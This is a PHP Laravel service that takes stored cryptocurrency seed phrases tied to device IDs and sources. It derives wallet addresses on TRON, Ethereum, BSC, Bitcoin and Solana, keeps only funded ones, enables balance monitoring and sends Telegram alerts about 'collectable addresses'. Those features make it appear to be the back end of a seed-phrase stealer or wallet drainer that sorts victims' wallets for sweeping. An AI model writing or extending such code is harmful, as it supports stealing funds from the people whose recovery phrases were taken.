455 lines
14 KiB
PHP
455 lines
14 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\Chain\BtcDriver;
|
|
use App\Services\Chain\ChainDriver;
|
|
use App\Services\Chain\ChainManager;
|
|
use App\Services\Chain\TronDriver;
|
|
use App\Services\Tokenview\TokenviewMonitorService;
|
|
use Illuminate\Support\Facades\Log;
|
|
|
|
/**
|
|
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
|
|
* TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
|
|
* Fully inactive mnemonics stay out of the DB and are not monitored; the
|
|
* wallets view previews one index-0 address per chain marked 未激活.
|
|
* Activated rows are persisted with monitor on.
|
|
*/
|
|
class MnemonicWalletDiscovery
|
|
{
|
|
public const MAX_DERIVE_INDEX = 2;
|
|
|
|
/** @var list<array{chain: string, chain_type: string}> */
|
|
private const CHAINS = [
|
|
['chain' => 'tron', 'chain_type' => 'TRON'],
|
|
['chain' => 'eth', 'chain_type' => 'ETH'],
|
|
['chain' => 'bsc', 'chain_type' => 'BSC'],
|
|
['chain' => 'btc', 'chain_type' => 'BTC'],
|
|
['chain' => 'sol', 'chain_type' => 'SOLANA'],
|
|
];
|
|
|
|
public function __construct(
|
|
private readonly ChainManager $chains,
|
|
private readonly TelegramNotifier $telegram,
|
|
private readonly TokenviewMonitorService $tokenview,
|
|
) {}
|
|
|
|
/**
|
|
* @return int Number of address rows created or updated
|
|
*/
|
|
public function discoverIndexZero(WalletMnemonic $mnemonic): int
|
|
{
|
|
return $this->discoverActivated($mnemonic);
|
|
}
|
|
|
|
/**
|
|
* @return int Number of address rows created or updated
|
|
*/
|
|
public function discoverActivated(WalletMnemonic $mnemonic): int
|
|
{
|
|
$phrase = $mnemonic->mnemonic;
|
|
if ($phrase === null || trim($phrase) === '') {
|
|
return 0;
|
|
}
|
|
|
|
$words = preg_split('/\s+/', trim($phrase)) ?: [];
|
|
if (count($words) < 12) {
|
|
Log::info('mnemonic wallet discovery skipped: phrase too short', [
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'word_count' => count($words),
|
|
]);
|
|
|
|
return 0;
|
|
}
|
|
|
|
$linkedChainTypes = WalletAddress::query()
|
|
->where('mnemonic_id', $mnemonic->id)
|
|
->pluck('chain_type')
|
|
->map(fn ($c) => strtoupper(trim((string) $c)))
|
|
->filter()
|
|
->unique()
|
|
->values()
|
|
->all();
|
|
|
|
$source = trim((string) ($mnemonic->source ?: ''));
|
|
$saved = [];
|
|
|
|
foreach (self::CHAINS as $spec) {
|
|
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
|
|
continue;
|
|
}
|
|
|
|
try {
|
|
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
|
foreach ($rows as $row) {
|
|
$saved[] = $row;
|
|
}
|
|
} catch (\Throwable $e) {
|
|
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'chain' => $spec['chain'],
|
|
]);
|
|
}
|
|
}
|
|
|
|
if ($saved !== []) {
|
|
$this->telegram->notifyCollectableAddresses($saved);
|
|
}
|
|
|
|
return count($saved);
|
|
}
|
|
|
|
/**
|
|
* @param list<string> $linkedChainTypes uppercase chain_type values already linked
|
|
*/
|
|
private function hasLinkedChain(array $linkedChainTypes, string $chain): bool
|
|
{
|
|
$aliases = match ($chain) {
|
|
'tron' => ['TRON', 'TRX'],
|
|
'eth' => ['ETH', 'ETHEREUM', 'EVM'],
|
|
'bsc' => ['BSC', 'BNB', 'BINANCE'],
|
|
'btc' => ['BTC', 'BITCOIN'],
|
|
'sol' => ['SOL', 'SOLANA'],
|
|
default => [strtoupper($chain)],
|
|
};
|
|
|
|
return array_intersect($aliases, $linkedChainTypes) !== [];
|
|
}
|
|
|
|
/**
|
|
* Persisted linked rows, or ephemeral index-0 previews when none exist.
|
|
*
|
|
* @return list<array<string, mixed>>
|
|
*/
|
|
public function walletCards(WalletMnemonic $mnemonic): array
|
|
{
|
|
$addresses = WalletAddress::query()
|
|
->where('mnemonic_id', $mnemonic->id)
|
|
->orderBy('id')
|
|
->get();
|
|
|
|
if ($addresses->isNotEmpty()) {
|
|
return $addresses->map(function (WalletAddress $addr) {
|
|
$coins = $addr->formattedCoins();
|
|
|
|
return [
|
|
'id' => $addr->id,
|
|
'address' => $addr->address,
|
|
'chain_type' => $addr->chain_type ?: '',
|
|
'source' => $addr->source ?: '',
|
|
'derive_index' => $addr->derive_index,
|
|
'usdt' => $coins['usdt'],
|
|
'trx' => $coins['trx'],
|
|
'eth' => $coins['eth'],
|
|
'btc' => $coins['btc'],
|
|
'bnb' => $coins['bnb'],
|
|
'sol' => $coins['sol'],
|
|
'active' => true,
|
|
'persisted' => true,
|
|
];
|
|
})->values()->all();
|
|
}
|
|
|
|
return $this->inactiveIndexZeroCards($mnemonic);
|
|
}
|
|
|
|
/**
|
|
* @return list<WalletAddress>
|
|
*/
|
|
private function discoverChain(
|
|
WalletMnemonic $mnemonic,
|
|
string $phrase,
|
|
string $source,
|
|
string $chain,
|
|
string $chainType,
|
|
): array {
|
|
$driver = $this->chains->resolve($chain);
|
|
$saved = [];
|
|
|
|
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
|
try {
|
|
$address = $driver->deriveAddress($phrase, $index);
|
|
} catch (\Throwable $e) {
|
|
Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'chain' => $chain,
|
|
'index' => $index,
|
|
]);
|
|
break;
|
|
}
|
|
|
|
try {
|
|
$probe = $this->probeActivated($chain, $driver, $address);
|
|
} catch (\Throwable $e) {
|
|
Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'chain' => $chain,
|
|
'address' => $address,
|
|
'index' => $index,
|
|
]);
|
|
continue;
|
|
}
|
|
|
|
if (! $probe['activated']) {
|
|
continue;
|
|
}
|
|
|
|
$saved[] = $this->persistActivated(
|
|
$mnemonic,
|
|
$source,
|
|
$chainType,
|
|
$address,
|
|
$index,
|
|
$probe['coins'],
|
|
);
|
|
}
|
|
|
|
return $saved;
|
|
}
|
|
|
|
/**
|
|
* @return array{activated: bool, coins: array<string, string>}
|
|
*/
|
|
private function probeActivated(string $chain, ChainDriver $driver, string $address): array
|
|
{
|
|
return match ($chain) {
|
|
'tron' => $this->probeTron($driver, $address),
|
|
'eth' => $this->probeEth($driver, $address),
|
|
'bsc' => $this->probeBsc($driver, $address),
|
|
'btc' => $this->probeBtc($driver, $address),
|
|
'sol' => $this->probeSol($driver, $address),
|
|
default => ['activated' => false, 'coins' => []],
|
|
};
|
|
}
|
|
|
|
/**
|
|
* @return array{activated: bool, coins: array<string, string>}
|
|
*/
|
|
private function probeTron(ChainDriver $driver, string $address): array
|
|
{
|
|
if (! $driver instanceof TronDriver) {
|
|
return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')];
|
|
}
|
|
|
|
$probe = $driver->probeAccount($address);
|
|
if (! $probe['activated']) {
|
|
return ['activated' => false, 'coins' => $this->emptyCoins('tron')];
|
|
}
|
|
|
|
return [
|
|
'activated' => true,
|
|
'coins' => [
|
|
'trx' => $probe['trx'],
|
|
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
|
|
],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @return array{activated: bool, coins: array<string, string>}
|
|
*/
|
|
private function probeEth(ChainDriver $driver, string $address): array
|
|
{
|
|
if (! $driver->isActivated($address)) {
|
|
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
|
|
}
|
|
|
|
return [
|
|
'activated' => true,
|
|
'coins' => [
|
|
'eth' => $driver->getNativeBalance($address),
|
|
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
|
],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @return array{activated: bool, coins: array<string, string>}
|
|
*/
|
|
private function probeBsc(ChainDriver $driver, string $address): array
|
|
{
|
|
try {
|
|
$bnb = $driver->getNativeBalance($address);
|
|
} catch (\Throwable) {
|
|
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
|
|
}
|
|
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
|
|
if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
|
|
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
|
|
}
|
|
|
|
return [
|
|
'activated' => true,
|
|
'coins' => [
|
|
'bnb' => $bnb,
|
|
'usdt' => $usdt,
|
|
],
|
|
];
|
|
}
|
|
|
|
private function probeBtc(ChainDriver $driver, string $address): array
|
|
{
|
|
if ($driver instanceof BtcDriver) {
|
|
$probe = $driver->probeAddress($address);
|
|
|
|
return [
|
|
'activated' => $probe['activated'],
|
|
'coins' => ['btc' => $probe['btc']],
|
|
];
|
|
}
|
|
|
|
if (! $driver->isActivated($address)) {
|
|
return ['activated' => false, 'coins' => $this->emptyCoins('btc')];
|
|
}
|
|
|
|
return [
|
|
'activated' => true,
|
|
'coins' => ['btc' => $driver->getNativeBalance($address)],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @return array{activated: bool, coins: array<string, string>}
|
|
*/
|
|
private function probeSol(ChainDriver $driver, string $address): array
|
|
{
|
|
try {
|
|
$sol = $driver->getNativeBalance($address);
|
|
} catch (\Throwable) {
|
|
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
|
|
}
|
|
|
|
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.sol.usdt_contract', ''));
|
|
$activated = bccomp($sol, '0', 9) > 0 || bccomp($usdt, '0', 6) > 0;
|
|
if (! $activated) {
|
|
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
|
|
}
|
|
|
|
return [
|
|
'activated' => true,
|
|
'coins' => [
|
|
'sol' => $sol,
|
|
'usdt' => $usdt,
|
|
],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array<string, string> $coins
|
|
*/
|
|
private function persistActivated(
|
|
WalletMnemonic $mnemonic,
|
|
string $source,
|
|
string $chainType,
|
|
string $address,
|
|
int $index,
|
|
array $coins,
|
|
): WalletAddress {
|
|
$row = WalletAddress::query()->firstOrNew([
|
|
'device_id' => $mnemonic->device_id,
|
|
'address' => $address,
|
|
'source' => $source !== '' ? $source : null,
|
|
'chain_type' => $chainType,
|
|
]);
|
|
|
|
$row->chain_type = $chainType;
|
|
$row->mnemonic_id = $mnemonic->id;
|
|
$row->derive_index = $index;
|
|
$row->monitor = 1;
|
|
if (! $row->exists) {
|
|
$row->monitor_synced = false;
|
|
$row->monitor_failures = 0;
|
|
}
|
|
foreach ($coins as $col => $value) {
|
|
$row->{$col} = $value;
|
|
}
|
|
$row->save();
|
|
$this->enableMonitor($row);
|
|
|
|
return $row;
|
|
}
|
|
|
|
/**
|
|
* @return list<array<string, mixed>>
|
|
*/
|
|
private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array
|
|
{
|
|
$phrase = $mnemonic->mnemonic;
|
|
if ($phrase === null || trim($phrase) === '') {
|
|
return [];
|
|
}
|
|
|
|
$source = trim((string) ($mnemonic->source ?: ''));
|
|
$cards = [];
|
|
|
|
foreach (self::CHAINS as $spec) {
|
|
try {
|
|
$address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0);
|
|
} catch (\Throwable) {
|
|
continue;
|
|
}
|
|
|
|
$cards[] = [
|
|
'id' => null,
|
|
'address' => $address,
|
|
'chain_type' => $spec['chain_type'],
|
|
'source' => $source,
|
|
'derive_index' => 0,
|
|
'usdt' => null,
|
|
'trx' => null,
|
|
'eth' => null,
|
|
'btc' => null,
|
|
'bnb' => null,
|
|
'sol' => null,
|
|
'active' => false,
|
|
'persisted' => false,
|
|
];
|
|
}
|
|
|
|
return $cards;
|
|
}
|
|
|
|
/**
|
|
* @return array<string, string>
|
|
*/
|
|
private function emptyCoins(string $chain): array
|
|
{
|
|
return match ($chain) {
|
|
'tron' => ['trx' => '0', 'usdt' => '0'],
|
|
'eth' => ['eth' => '0', 'usdt' => '0'],
|
|
'bsc' => ['bnb' => '0', 'usdt' => '0'],
|
|
'btc' => ['btc' => '0'],
|
|
'sol' => ['sol' => '0', 'usdt' => '0'],
|
|
default => [],
|
|
};
|
|
}
|
|
|
|
private function enableMonitor(WalletAddress $address): void
|
|
{
|
|
try {
|
|
$this->tokenview->syncMonitor($address);
|
|
} catch (\Throwable $e) {
|
|
Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [
|
|
'wallet_address_id' => $address->id,
|
|
]);
|
|
}
|
|
}
|
|
|
|
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string
|
|
{
|
|
$contract = trim($contract);
|
|
if ($contract === '') {
|
|
return '0';
|
|
}
|
|
|
|
try {
|
|
return (string) $driver->getTokenBalance($address, $contract);
|
|
} catch (\Throwable) {
|
|
return '0';
|
|
}
|
|
}
|
|
}
|